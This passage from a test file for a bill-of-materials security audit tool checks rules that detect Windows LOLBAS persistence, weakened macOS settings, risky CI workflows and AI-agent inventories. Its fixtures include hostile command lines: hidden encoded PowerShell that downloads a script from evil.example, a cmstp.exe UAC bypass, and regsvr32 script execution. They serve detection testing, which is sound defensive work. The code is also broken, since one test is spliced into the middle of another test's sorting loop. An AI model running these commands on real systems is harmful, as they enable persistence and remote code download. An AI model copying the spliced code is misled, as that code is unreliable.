it("should detect Windows persistence surfaces referencing LOLBAS (OBOM-WIN-006)", async () => {
|
|
3342
|
+
const rules = await loadRules(RULES_DIR);
|
|
3343
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-006");
|
|
3344
|
+
assert.ok(rule, "OBOM-WIN-006 rule should exist");
|
|
3345
|
+
|
|
3346
|
+
const bom = makeBom([
|
|
3347
|
+
{
|
|
3348
|
+
type: "data",
|
|
3349
|
+
name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
3350
|
+
version: "",
|
|
3351
|
+
description: "powershell.exe -nop -w hidden -enc AAAA",
|
|
3352
|
+
purl: "pkg:swid/windows-run-key-lolbas",
|
|
3353
|
+
"bom-ref": "pkg:swid/windows-run-key-lolbas",
|
|
3354
|
+
properties: [
|
|
3355
|
+
{ name: "cdx:osquery:category", value: "windows_run_keys" },
|
|
3356
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
3357
|
+
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
3358
|
+
{
|
|
3359
|
+
name: "cdx:lolbas:functions",
|
|
3360
|
+
value: "command,download,script-execution,shell,upload",
|
|
3361
|
+
},
|
|
3362
|
+
{ name: "cdx:lolbas:matchFields", value: "description" },
|
|
3363
|
+
],
|
|
3364
|
+
},
|
|
3365
|
+
]);
|
|
3366
|
+
|
|
3367
|
+
const findings = await evaluateRule(rule, bom);
|
|
3368
|
+
assert.ok(findings.length > 0, "Should detect LOLBAS persistence surface");
|
|
3369
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3370
|
+
});
|
|
3371
|
+
|
|
3372
|
+
it("should flag scheduled tasks that invoke LOLBAS helpers even when they live under managed Windows namespaces (OBOM-WIN-006)", async () => {
|
|
3373
|
+
const rules = await loadRules(RULES_DIR);
|
|
3374
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-006");
|
|
3375
|
+
assert.ok(rule, "OBOM-WIN-006 rule should exist");
|
|
3376
|
+
const row = {
|
|
3377
|
+
action:
|
|
3378
|
+
"%windir%\\system32\\rundll32.exe Windows.Storage.ApplicationData.dll,CleanupTemporaryState",
|
|
3379
|
+
enabled: "0",
|
|
3380
|
+
hidden: "0",
|
|
3381
|
+
path: "\\Microsoft\\Windows\\applicationdata\\CleanupTemporaryState",
|
|
3382
|
+
};
|
|
3383
|
+
|
|
3384
|
+
const bom = makeBom([
|
|
3385
|
+
{
|
|
3386
|
+
type: "data",
|
|
3387
|
+
name: "CleanupTemporaryState",
|
|
3388
|
+
version: "",
|
|
3389
|
+
description: "",
|
|
3390
|
+
"bom-ref": "osquery:scheduled_tasks:data:CleanupTemporaryState@unknown",
|
|
3391
|
+
properties: [
|
|
3392
|
+
{ name: "cdx:osquery:category", value: "scheduled_tasks" },
|
|
3393
|
+
...createLolbasProperties("scheduled_tasks", row),
|
|
3394
|
+
{ name: "path", value: row.path },
|
|
3395
|
+
{ name: "action", value: row.action },
|
|
3396
|
+
{ name: "enabled", value: row.enabled },
|
|
3397
|
+
{ name: "hidden", value: row.hidden },
|
|
3398
|
+
],
|
|
3399
|
+
},
|
|
3400
|
+
]);
|
|
3401
|
+
|
|
3402
|
+
const findings = await evaluateRule(rule, bom);
|
|
3403
|
+
assert.strictEqual(findings.length, 1);
|
|
3404
|
+
assert.match(findings[0].message, /CleanupTemporaryState|rundll32\.exe/);
|
|
3405
|
+
});
|
|
3406
|
+
|
|
3407
|
+
it("should ignore Windows services whose descriptions merely mention PowerShell or cmd tooling (OBOM-WIN-006)", async () => {
|
|
3408
|
+
const rules = await loadRules(RULES_DIR);
|
|
3409
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-006");
|
|
3410
|
+
assert.ok(rule, "OBOM-WIN-006 rule should exist");
|
|
3411
|
+
const row = {
|
|
3412
|
+
description:
|
|
3413
|
+
"Windows Remote Management can be configured with winrm.cmd and queried from PowerShell.",
|
|
3414
|
+
display_name: "Windows Remote Management",
|
|
3415
|
+
module_path: "C:\\Windows\\System32\\WsmSvc.dll",
|
|
3416
|
+
path: "C:\\Windows\\System32\\svchost.exe -k NetworkService -p",
|
|
3417
|
+
};
|
|
3418
|
+
|
|
3419
|
+
const bom = makeBom([
|
|
3420
|
+
{
|
|
3421
|
+
type: "data",
|
|
3422
|
+
name: "WinRM",
|
|
3423
|
+
version: "4012",
|
|
3424
|
+
description: row.description,
|
|
3425
|
+
"bom-ref": "osquery:services_snapshot:data:WinRM@4012",
|
|
3426
|
+
properties: [
|
|
3427
|
+
{ name: "cdx:osquery:category", value: "services_snapshot" },
|
|
3428
|
+
...createLolbasProperties("services_snapshot", row),
|
|
3429
|
+
{ name: "path", value: row.path },
|
|
3430
|
+
{ name: "module_path", value: row.module_path },
|
|
3431
|
+
{ name: "start_type", value: "AUTO_START" },
|
|
3432
|
+
],
|
|
3433
|
+
},
|
|
3434
|
+
]);
|
|
3435
|
+
|
|
3436
|
+
const findings = await evaluateRule(rule, bom);
|
|
3437
|
+
assert.strictEqual(findings.length, 0);
|
|
3438
|
+
});
|
|
3439
|
+
|
|
3440
|
+
it("should keep suspicious Windows services that launch LOLBAS from user-controlled paths (OBOM-WIN-006)", async () => {
|
|
3441
|
+
const rules = await loadRules(RULES_DIR);
|
|
3442
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-006");
|
|
3443
|
+
assert.ok(rule, "OBOM-WIN-006 rule should exist");
|
|
3444
|
+
const row = {
|
|
3445
|
+
path: "C:\\Users\\Public\\evil\\powershell.exe -enc AAAA",
|
|
3446
|
+
};
|
|
3447
|
+
|
|
3448
|
+
const bom = makeBom([
|
|
3449
|
+
{
|
|
3450
|
+
type: "data",
|
|
3451
|
+
name: "EvilService",
|
|
3452
|
+
version: "1234",
|
|
3453
|
+
description: "",
|
|
3454
|
+
"bom-ref": "osquery:services_snapshot:data:EvilService@1234",
|
|
3455
|
+
properties: [
|
|
3456
|
+
{ name: "cdx:osquery:category", value: "services_snapshot" },
|
|
3457
|
+
...createLolbasProperties("services_snapshot", row),
|
|
3458
|
+
{ name: "path", value: row.path },
|
|
3459
|
+
{ name: "start_type", value: "AUTO_START" },
|
|
3460
|
+
],
|
|
3461
|
+
},
|
|
3462
|
+
]);
|
|
3463
|
+
|
|
3464
|
+
const findings = await evaluateRule(rule, bom);
|
|
3465
|
+
assert.strictEqual(findings.length, 1);
|
|
3466
|
+
assert.match(findings[0].message, /EvilService|powershell\.exe/);
|
|
3467
|
+
});
|
|
3468
|
+
|
|
3469
|
+
it("should detect WMI or AppCompat LOLBAS persistence (OBOM-WIN-007)", async () => {
|
|
3470
|
+
const rules = await loadRules(RULES_DIR);
|
|
3471
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-007");
|
|
3472
|
+
assert.ok(rule, "OBOM-WIN-007 rule should exist");
|
|
3473
|
+
|
|
3474
|
+
const bom = makeBom([
|
|
3475
|
+
{
|
|
3476
|
+
type: "data",
|
|
3477
|
+
name: "CommandLineEventConsumerBad",
|
|
3478
|
+
version: "",
|
|
3479
|
+
description: "",
|
|
3480
|
+
purl: "pkg:swid/windows-wmi-lolbas",
|
|
3481
|
+
"bom-ref": "pkg:swid/windows-wmi-lolbas",
|
|
3482
|
+
properties: [
|
|
3483
|
+
{ name: "cdx:osquery:category", value: "wmi_cli_event_consumers" },
|
|
3484
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
3485
|
+
{ name: "cdx:lolbas:names", value: "regsvr32.exe" },
|
|
3486
|
+
{
|
|
3487
|
+
name: "cdx:lolbas:functions",
|
|
3488
|
+
value: "library-load,proxy-execution,script-execution",
|
|
3489
|
+
},
|
|
3490
|
+
{
|
|
3491
|
+
name: "command_line_template",
|
|
3492
|
+
value: "regsvr32.exe /s scrobj.dll",
|
|
3493
|
+
},
|
|
3494
|
+
],
|
|
3495
|
+
},
|
|
3496
|
+
]);
|
|
3497
|
+
|
|
3498
|
+
const findings = await evaluateRule(rule, bom);
|
|
3499
|
+
assert.ok(findings.length > 0, "Should detect LOLBAS WMI persistence");
|
|
3500
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
3501
|
+
});
|
|
3502
|
+
|
|
3503
|
+
it("should detect network-capable LOLBAS in startup or process activity (OBOM-WIN-008)", async () => {
|
|
3504
|
+
const rules = await loadRules(RULES_DIR);
|
|
3505
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-008");
|
|
3506
|
+
assert.ok(rule, "OBOM-WIN-008 rule should exist");
|
|
3507
|
+
|
|
3508
|
+
const bom = makeBom([
|
|
3509
|
+
{
|
|
3510
|
+
type: "data",
|
|
3511
|
+
name: "SuspiciousPowerShell",
|
|
3512
|
+
version: "",
|
|
3513
|
+
description: "",
|
|
3514
|
+
purl: "pkg:swid/windows-process-lolbas",
|
|
3515
|
+
"bom-ref": "pkg:swid/windows-process-lolbas",
|
|
3516
|
+
properties: [
|
|
3517
|
+
{ name: "cdx:osquery:category", value: "processes" },
|
|
3518
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
3519
|
+
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
3520
|
+
{
|
|
3521
|
+
name: "cdx:lolbas:functions",
|
|
3522
|
+
value: "command,download,script-execution,shell,upload",
|
|
3523
|
+
},
|
|
3524
|
+
{
|
|
3525
|
+
name: "cmdline",
|
|
3526
|
+
value:
|
|
3527
|
+
"powershell.exe -nop -w hidden -enc AAAA; iwr https://evil.example/a.ps1",
|
|
3528
|
+
},
|
|
3529
|
+
],
|
|
3530
|
+
},
|
|
3531
|
+
]);
|
|
3532
|
+
|
|
3533
|
+
const findings = await evaluateRule(rule, bom);
|
|
3534
|
+
assert.ok(findings.length > 0, "Should detect network-capable LOLBAS");
|
|
3535
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3536
|
+
});
|
|
3537
|
+
|
|
3538
|
+
it("should detect network-facing LOLBAS listeners (OBOM-WIN-009)", async () => {
|
|
3539
|
+
const rules = await loadRules(RULES_DIR);
|
|
3540
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-009");
|
|
3541
|
+
assert.ok(rule, "OBOM-WIN-009 rule should exist");
|
|
3542
|
+
|
|
3543
|
+
const bom = makeBom([
|
|
3544
|
+
{
|
|
3545
|
+
type: "application",
|
|
3546
|
+
name: "powershell.exe",
|
|
3547
|
+
version: "9001",
|
|
3548
|
+
description: "",
|
|
3549
|
+
purl: "pkg:swid/powershell.exe@9001",
|
|
3550
|
+
"bom-ref": "pkg:swid/powershell.exe@9001",
|
|
3551
|
+
properties: [
|
|
3552
|
+
{ name: "cdx:osquery:category", value: "listening_ports" },
|
|
3553
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
3554
|
+
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
3555
|
+
{
|
|
3556
|
+
name: "cdx:lolbas:functions",
|
|
3557
|
+
value: "command,download,script-execution,shell,upload",
|
|
3558
|
+
},
|
|
3559
|
+
{ name: "address", value: "0.0.0.0" },
|
|
3560
|
+
{ name: "port", value: "9001" },
|
|
3561
|
+
{
|
|
3562
|
+
name: "cmdline",
|
|
3563
|
+
value: "powershell.exe -nop -w hidden -enc AAAA",
|
|
3564
|
+
},
|
|
3565
|
+
],
|
|
3566
|
+
},
|
|
3567
|
+
]);
|
|
3568
|
+
|
|
3569
|
+
const findings = await evaluateRule(rule, bom);
|
|
3570
|
+
assert.ok(findings.length > 0, "Should detect network-facing LOLBAS");
|
|
3571
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
3572
|
+
});
|
|
3573
|
+
|
|
3574
|
+
it("should detect UAC-bypass-capable LOLBAS persistence (OBOM-WIN-010)", async () => {
|
|
3575
|
+
const rules = await loadRules(RULES_DIR);
|
|
3576
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-010");
|
|
3577
|
+
assert.ok(rule, "OBOM-WIN-010 rule should exist");
|
|
3578
|
+
|
|
3579
|
+
const bom = makeBom([
|
|
3580
|
+
{
|
|
3581
|
+
type: "data",
|
|
3582
|
+
name: "BadTask",
|
|
3583
|
+
version: "",
|
|
3584
|
+
description: "",
|
|
3585
|
+
purl: "pkg:swid/windows-task-uac-lolbas",
|
|
3586
|
+
"bom-ref": "pkg:swid/windows-task-uac-lolbas",
|
|
3587
|
+
properties: [
|
|
3588
|
+
{ name: "cdx:osquery:category", value: "scheduled_tasks" },
|
|
3589
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
3590
|
+
{ name: "cdx:lolbas:names", value: "cmstp.exe" },
|
|
3591
|
+
{ name: "cdx:lolbas:contexts", value: "admin,uac-bypass,user" },
|
|
3592
|
+
{ name: "action", value: "cmstp.exe /s payload.inf" },
|
|
3593
|
+
],
|
|
3594
|
+
},
|
|
3595
|
+
]);
|
|
3596
|
+
|
|
3597
|
+
const findings = await evaluateRule(rule, bom);
|
|
3598
|
+
assert.ok(findings.length > 0, "Should detect UAC-bypass LOLBAS");
|
|
3599
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
3600
|
+
});
|
|
3601
|
+
|
|
3602
|
+
it("should detect launchd override disabling Apple service (OBOM-MAC-004)", async () => {
|
|
3603
|
+
const rules = await loadRules(RULES_DIR);
|
|
3604
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-004");
|
|
3605
|
+
assert.ok(rule, "OBOM-MAC-004 rule should exist");
|
|
3606
|
+
|
|
3607
|
+
const bom = makeBom([
|
|
3608
|
+
{
|
|
3609
|
+
type: "data",
|
|
3610
|
+
name: "com.apple.some-security-service",
|
|
3611
|
+
version: "",
|
|
3612
|
+
description: "",
|
|
3613
|
+
purl: "pkg:swid/launchd-override",
|
|
3614
|
+
"bom-ref": "pkg:swid/launchd-override",
|
|
3615
|
+
properties: [
|
|
3616
|
+
{ name: "cdx:osquery:category", value: "launchd_overrides" },
|
|
3617
|
+
{ name: "label", value: "com.apple.some-security-service" },
|
|
3618
|
+
{ name: "key", value: "Disabled" },
|
|
3619
|
+
{ name: "value", value: "1" },
|
|
3620
|
+
{ name: "uid", value: "0" },
|
|
3621
|
+
],
|
|
3622
|
+
},
|
|
3623
|
+
]);
|
|
3624
|
+
|
|
3625
|
+
const findings = await evaluateRule(rule, bom);
|
|
3626
|
+
assert.ok(
|
|
3627
|
+
findings.length > 0,
|
|
3628
|
+
"Should detect disabled Apple launchd label",
|
|
3629
|
+
);
|
|
3630
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
3631
|
+
});
|
|
3632
|
+
});
|
|
3633
|
+
|
|
3634
|
+
describe("evaluateRules", () => {
|
|
3635
|
+
it("should sort findings by severity (high before medium before low)", async () => {
|
|
3636
|
+
const rules = await loadRules(RULES_DIR);
|
|
3637
|
+
const bom = makeBom([
|
|
3638
|
+
makeComponent("actions/checkout", "v3", [
|
|
3639
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
3640
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
3641
|
+
["cdx:github:action:uses", "actions/checkout@v3"],
|
|
3642
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
3643
|
+
]),
|
|
3644
|
+
makeComponent("deprecated-go-mod", "1.0.0", [
|
|
3645
|
+
["cdx:go:deprecated", "use other-module instead"],
|
|
3646
|
+
]),
|
|
3647
|
+
]);
|
|
3648
|
+
|
|
3649
|
+
const findings = await evaluateRules(rules, bom);
|
|
3650
|
+
if (findings.length >= 2) {
|
|
3651
|
+
const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
|
|
3652
|
+
for (let i = 1; i < findings.length; i++) {
|
|
3653
|
+
it("should detect weakened macOS Gatekeeper posture (OBOM-MAC-005)", async () => {
|
|
3654
|
+
const rules = await loadRules(RULES_DIR);
|
|
3655
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-005");
|
|
3656
|
+
assert.ok(rule, "OBOM-MAC-005 rule should exist");
|
|
3657
|
+
|
|
3658
|
+
const bom = makeBom([
|
|
3659
|
+
{
|
|
3660
|
+
type: "data",
|
|
3661
|
+
name: "gatekeeper",
|
|
3662
|
+
version: "",
|
|
3663
|
+
description: "94",
|
|
3664
|
+
purl: "pkg:swid/gatekeeper",
|
|
3665
|
+
"bom-ref": "pkg:swid/gatekeeper",
|
|
3666
|
+
properties: [
|
|
3667
|
+
{ name: "cdx:osquery:category", value: "gatekeeper" },
|
|
3668
|
+
{ name: "assessments_enabled", value: "0" },
|
|
3669
|
+
{ name: "dev_id_enabled", value: "1" },
|
|
3670
|
+
],
|
|
3671
|
+
},
|
|
3672
|
+
]);
|
|
3673
|
+
|
|
3674
|
+
const findings = await evaluateRule(rule, bom);
|
|
3675
|
+
assert.ok(findings.length > 0, "Should detect weakened Gatekeeper");
|
|
3676
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3677
|
+
});
|
|
3678
|
+
const prev = severityOrder[findings[i - 1].severity] ?? 4;
|
|
3679
|
+
const curr = severityOrder[findings[i].severity] ?? 4;
|
|
3680
|
+
assert.ok(
|
|
3681
|
+
prev <= curr,
|
|
3682
|
+
`Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
|
|
3683
|
+
);
|
|
3684
|
+
}
|
|
3685
|
+
}
|
|
3686
|
+
});
|
|
3687
|
+
});
|
|
3688
|
+
|
|
3689
|
+
describe("auditBom", () => {
|
|
3690
|
+
it("should run audit and return findings", async () => {
|
|
3691
|
+
const bom = makeBom([
|
|
3692
|
+
makeComponent("actions/setup-node", "v3", [
|
|
3693
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
3694
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
3695
|
+
["cdx:github:action:uses", "actions/setup-node@v3"],
|
|
3696
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
3697
|
+
]),
|
|
3698
|
+
]);
|
|
3699
|
+
|
|
3700
|
+
const findings = await auditBom(bom, {});
|
|
3701
|
+
assert.ok(findings.length > 0, "Should find at least one issue");
|
|
3702
|
+
});
|
|
3703
|
+
|
|
3704
|
+
it("should return empty array for null bom", async () => {
|
|
3705
|
+
const findings = await auditBom(null, {});
|
|
3706
|
+
assert.deepStrictEqual(findings, []);
|
|
3707
|
+
});
|
|
3708
|
+
|
|
3709
|
+
it("should filter by category", async () => {
|
|
3710
|
+
const bom = makeBom([
|
|
3711
|
+
makeComponent("actions/setup-node", "v3", [
|
|
3712
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
3713
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
3714
|
+
["cdx:github:action:uses", "actions/setup-node@v3"],
|
|
3715
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
3716
|
+
]),
|
|
3717
|
+
makeComponent("sketchy-pkg", "1.0.0", [
|
|
3718
|
+
["cdx:npm:hasInstallScript", "true"],
|
|
3719
|
+
["cdx:npm:isRegistryDependency", "false"],
|
|
3720
|
+
]),
|
|
3721
|
+
]);
|
|
3722
|
+
|
|
3723
|
+
const ciOnly = await auditBom(bom, {
|
|
3724
|
+
bomAuditCategories: "ci-permission",
|
|
3725
|
+
});
|
|
3726
|
+
for (const f of ciOnly) {
|
|
3727
|
+
assert.strictEqual(f.category, "ci-permission");
|
|
3728
|
+
}
|
|
3729
|
+
});
|
|
3730
|
+
|
|
3731
|
+
it("expands the ai-inventory category alias", async () => {
|
|
3732
|
+
const bom = makeBom(
|
|
3733
|
+
[],
|
|
3734
|
+
[],
|
|
3735
|
+
[
|
|
3736
|
+
{
|
|
3737
|
+
type: "application",
|
|
3738
|
+
name: "agent-guide",
|
|
3739
|
+
version: "latest",
|
|
3740
|
+
"bom-ref": "file:/repo/AGENTS.md",
|
|
3741
|
+
properties: [
|
|
3742
|
+
{ name: "SrcFile", value: "/repo/AGENTS.md" },
|
|
3743
|
+
{ name: "cdx:agent:inventorySource", value: "agent-file" },
|
|
3744
|
+
{ name: "cdx:file:kind", value: "agent-instructions" },
|
|
3745
|
+
{
|
|
3746
|
+
name: "cdx:agent:hasNonOfficialMcpReference",
|
|
3747
|
+
value: "true",
|
|
3748
|
+
},
|
|
3749
|
+
{ name: "cdx:agent:mcpPackageRefs", value: "@acme/mcp-server" },
|
|
3750
|
+
],
|
|
3751
|
+
},
|
|
3752
|
+
],
|
|
3753
|
+
[
|
|
3754
|
+
{
|
|
3755
|
+
"bom-ref": "urn:service:mcp:demo:1",
|
|
3756
|
+
group: "mcp",
|
|
3757
|
+
name: "demo-server",
|
|
3758
|
+
authenticated: false,
|
|
3759
|
+
endpoints: ["https://mcp.example.com/mcp"],
|
|
3760
|
+
properties: [
|
|
3761
|
+
{ name: "cdx:mcp:transport", value: "streamable-http" },
|
|
3762
|
+
{ name: "cdx:mcp:serviceType", value: "inferred-endpoint" },
|
|
3763
|
+
{ name: "cdx:mcp:inventorySource", value: "agent-file" },
|
|
3764
|
+
{ name: "cdx:mcp:toolCount", value: "1" },
|
|
3765
|
+
{ name: "cdx:mcp:officialSdk", value: "false" },
|
|
3766
|
+
],
|
|
3767
|
+
},
|
|
3768
|
+
],
|
|
3769
|
+
);
|
|
3770
|
+
|
|
3771
|
+
const findings = await auditBom(bom, {
|
|
3772
|
+
bomAuditCategories: "ai-inventory",
|
|
3773
|
+
});
|
|
3774
|
+
assert.ok(findings.some((finding) => finding.category === "ai-agent"));
|
|
3775
|
+
assert.ok(findings.some((finding) => finding.category === "mcp-server"));
|
|
3776
|
+
});
|
|
3777
|
+
|
|
3778
|
+
it("rejects unknown audit categories with valid choices", async () => {
|
|
3779
|
+
await assert.rejects(
|
|
3780
|
+
auditBom(makeBom([]), {
|
|
3781
|
+
bomAuditCategories: "unknown-category",
|
|
3782
|
+
}),
|
|
3783
|
+
/Unknown BOM audit category: unknown-category\. Valid categories: .*ai-inventory \(alias for ai-agent,mcp-server\).*ci-permission.*mcp-server/,
|
|
3784
|
+
);
|
|
3785
|
+
});
|
|
3786
|
+
|
|
3787
|
+
it("should filter by minimum severity", async () => {
|
|
3788
|
+
const bom = makeBom([
|
|
3789
|
+
makeComponent("actions/setup-node", "v3", [
|
|
3790
|
+
["cdx:github:action:isShaPinned", "false"],
|
|
3791
|
+
["cdx:github:workflow:hasWritePermissions", "true"],
|
|
3792
|
+
["cdx:github:action:uses", "actions/setup-node@v3"],
|
|
3793
|
+
["cdx:github:action:versionPinningType", "tag"],
|
|
3794
|
+
]),
|
|
3795
|
+
]);
|
|
3796
|
+
|
|
3797
|
+
const highOnly = await auditBom(bom, {
|
|
3798
|
+
bomAuditMinSeverity: "high",
|
|
3799
|
+
});
|
|
3800
|
+
for (const f of highOnly) {
|
|
3801
|
+
assert.strictEqual(f.severity, "high");
|
|
3802
|
+
}
|
|
3803
|
+
});
|
|
3804
|
+
|
|
3805
|
+
it("reports active dry-run support counts for package-integrity rules", async () => {
|
|
3806
|
+
const summary = await getBomAuditDryRunSupportSummary({
|
|
3807
|
+
bomAuditCategories: "package-integrity",
|
|
3808
|
+
});
|
|
3809
|
+
assert.deepStrictEqual(summary, {
|
|
3810
|
+
fullCount: 10,
|
|
3811
|
+
noCount: 3,
|
|
3812
|
+
partialCount: 1,
|
|
3813
|
+
totalRules: 14,
|
|
3814
|
+
});
|
|
3815
|
+
assert.match(
|
|
3816
|
+
formatDryRunSupportSummary(summary),
|
|
3817
|
+
/3 rule\(s\) do not support dry-run, 1 rule\(s\) have partial dry-run support, 14 active rule\(s\) total/,
|
|
3818
|
+
);
|
|
3819
|
+
});
|
|
3820
|
+
|
|
3821
|
+
it("does not flag CI-006 for a safe content-addressed PR cache workflow", async () => {
|
|
3822
|
+
const bom = makeBomFromWorkflowFixture("cache-pull-request.yml");
|
|
3823
|
+
|
|
3824
|
+
const findings = await auditBom(bom, {
|
|
3825
|
+
bomAuditCategories: "ci-permission",
|
|
3826
|
+
});
|
|
3827
|
+
assert.ok(
|
|
3828
|
+
!findings.some((finding) => finding.ruleId === "CI-006"),
|
|
3829
|
+
"safe PR cache workflow should not trigger CI-006",
|
|
3830
|
+
);
|
|
3831
|
+
});
|
|
3832
|
+
|
|
3833
|
+
it("flags CI-006 for a risky PR cache workflow", async () => {
|
|
3834
|
+
const bom = makeBomFromWorkflowFixture("risk-cache-poisoning.yml");
|
|
3835
|
+
|
|
3836
|
+
const findings = await auditBom(bom, {
|
|
3837
|
+
bomAuditCategories: "ci-permission",
|
|
3838
|
+
});
|
|
3839
|
+
assert.ok(
|
|
3840
|
+
findings.some((finding) => finding.ruleId === "CI-006"),
|
|
3841
|
+
"risky PR cache workflow should trigger CI-006",
|
|
3842
|
+
);
|
|
3843
|
+
});
|
|
3844
|
+
|
|
3845
|
+
it("does not flag high-risk-trigger rules for a safe push workflow", async () => {
|
|
3846
|
+
const bom = makeBomFromWorkflowFixture("trigger-safe-push.yml");
|
|
3847
|
+
|
|
3848
|
+
const findings = await auditBom(bom, {
|
|
3849
|
+
bomAuditCategories: "ci-permission",
|
|
3850
|
+
});
|
|
3851
|
+
assert.ok(
|
|
3852
|
+
!findings.some((finding) =>
|
|
3853
|
+
["CI-004", "CI-008", "CI-013"].includes(finding.ruleId),
|
|
3854
|
+
),
|
|
3855
|
+
"safe push workflow should not trigger high-risk-trigger rules",
|
|
3856
|
+
);
|
|
3857
|
+
});
|
|
3858
|
+
|
|
3859
|
+
it("preserves workflow_call producer metadata without triggering unrelated CI findings", async () => {
|
|
3860
|
+
const bom = makeBomFromWorkflowFixture("workflow-call-producer-safe.yml");
|
|
3861
|
+
|
|
3862
|
+
const workflow = bom.formulation[0].workflows[0];
|
|
3863
|
+
const workflowProps = workflow.properties || [];
|
|
3864
|
+
assert.ok(
|
|
3865
|
+
workflowProps.some(
|
|
3866
|
+
(prop) =>
|
|
3867
|
+
prop.name === "cdx:github:workflow:hasWorkflowCallTrigger" &&
|
|
3868
|
+
prop.value === "true",
|
|
3869
|
+
),
|
|
3870
|
+
);
|
|
3871
|
+
assert.ok(
|
|
3872
|
+
workflowProps.some(
|
|
3873
|
+
(prop) =>
|
|
3874
|
+
prop.name === "cdx:github:workflow:workflowCallInputs" &&
|
|
3875
|
+
prop.value === "target",
|
|
3876
|
+
),
|
|
3877
|
+
);
|
|
3878
|
+
|
|
3879
|
+
const findings = await auditBom(bom, {
|
|
3880
|
+
bomAuditCategories: "ci-permission",
|
|
3881
|
+
});
|
|
3882
|
+
assert.ok(
|
|
3883
|
+
!findings.some((finding) => finding.ruleId === "CI-011"),
|
|
3884
|
+
"producer-side reusable workflow metadata should not be confused with external reusable workflow invocation",
|
|
3885
|
+
);
|
|
3886
|
+
assert.ok(
|
|
3887
|
+
!findings.some((finding) =>
|
|
3888
|
+
["CI-016", "CI-017"].includes(finding.ruleId),
|
|
3889
|
+
),
|
|
3890
|
+
"safe workflow_call producer should not trigger privileged producer rules",
|
|
3891
|
+
);
|
|
3892
|
+
});
|
|
3893
|
+
|
|
3894
|
+
it("flags risky workflow_call producers with privileged producer rules", async () => {
|
|
3895
|
+
const bom = makeBomFromWorkflowFixture("workflow-call-producer-risky.yml");
|
|
3896
|
+
|
|
3897
|
+
const findings = await auditBom(bom, {
|
|
3898
|
+
bomAuditCategories: "ci-permission",
|
|
3899
|
+
});
|
|
3900
|
+
assert.ok(
|
|
3901
|
+
findings.some((finding) => finding.ruleId === "CI-016"),
|
|
3902
|
+
"risky workflow_call producer should trigger CI-016",
|
|
3903
|
+
);
|
|
3904
|
+
assert.ok(
|
|
3905
|
+
findings.some((finding) => finding.ruleId === "CI-017"),
|
|
3906
|
+
"risky workflow_call producer should trigger CI-017",
|
|
3907
|
+
);
|
|
3908
|
+
});
|
|
3909
|
+
|
|
3910
|
+
it("flags workflow-dispatch chains in fork-reachable privileged workflows", async () => {
|
|
3911
|
+
const bom = makeBomFromWorkflowFixture("dispatch-chain-fork-sensitive.yml");
|
|
3912
|
+
|
|
3913
|
+
const findings = await auditBom(bom, {
|
|
3914
|
+
bomAuditCategories: "ci-permission",
|
|
3915
|
+
});
|
|
3916
|
+
assert.ok(
|
|
3917
|
+
findings.some((finding) => finding.ruleId === "CI-018"),
|
|
3918
|
+
"fork-reachable dispatch chain should trigger CI-018",
|
|
3919
|
+
);
|
|
3920
|
+
assert.ok(
|
|
3921
|
+
findings.some((finding) => finding.ruleId === "CI-019"),
|
|
3922
|
+
"explicit fork-aware dispatch chain should trigger CI-019",
|
|
3923
|
+
);
|
|
3924
|
+
});
|
|
3925
|
+
|
|
3926
|
+
it("prefers local receiver workflow names in CI-019 findings when correlation exists", async () => {
|
|
3927
|
+
const rules = await loadRules(RULES_DIR);
|
|
3928
|
+
const rule = rules.find((candidate) => candidate.id === "CI-019");
|
|
3929
|
+
assert.ok(rule, "CI-019 rule should exist");
|
|
3930
|
+
|
|
3931
|
+
const bom = makeBom([
|
|
3932
|
+
makeComponent("dispatch-step", "1.0.0", [
|
|
3933
|
+
["cdx:github:step:dispatchesWorkflow", "true"],
|
|
3934
|
+
["cdx:github:step:referencesForkContext", "true"],
|
|
3935
|
+
["cdx:github:step:referencesSensitiveContext", "true"],
|
|
3936
|
+
["cdx:github:step:dispatchTargets", "workflow:release.yml"],
|
|
3937
|
+
["cdx:github:step:hasLocalDispatchReceiver", "true"],
|
|
3938
|
+
["cdx:github:step:dispatchReceiverWorkflowNames", "Release workflow"],
|
|
3939
|
+
[
|
|
3940
|
+
"cdx:github:step:dispatchReceiverWorkflowFiles",
|
|
3941
|
+
".github/workflows/release.yml",
|
|
3942
|
+
],
|
|
3943
|
+
]),
|
|
3944
|
+
]);
|
|
3945
|
+
|
|
3946
|
+
const findings = await evaluateRule(rule, bom);
|
|
3947
|
+
assert.ok(
|
|
3948
|
+
findings.length > 0,
|
|
3949
|
+
"CI-019 should match the correlated dispatch step",
|
|
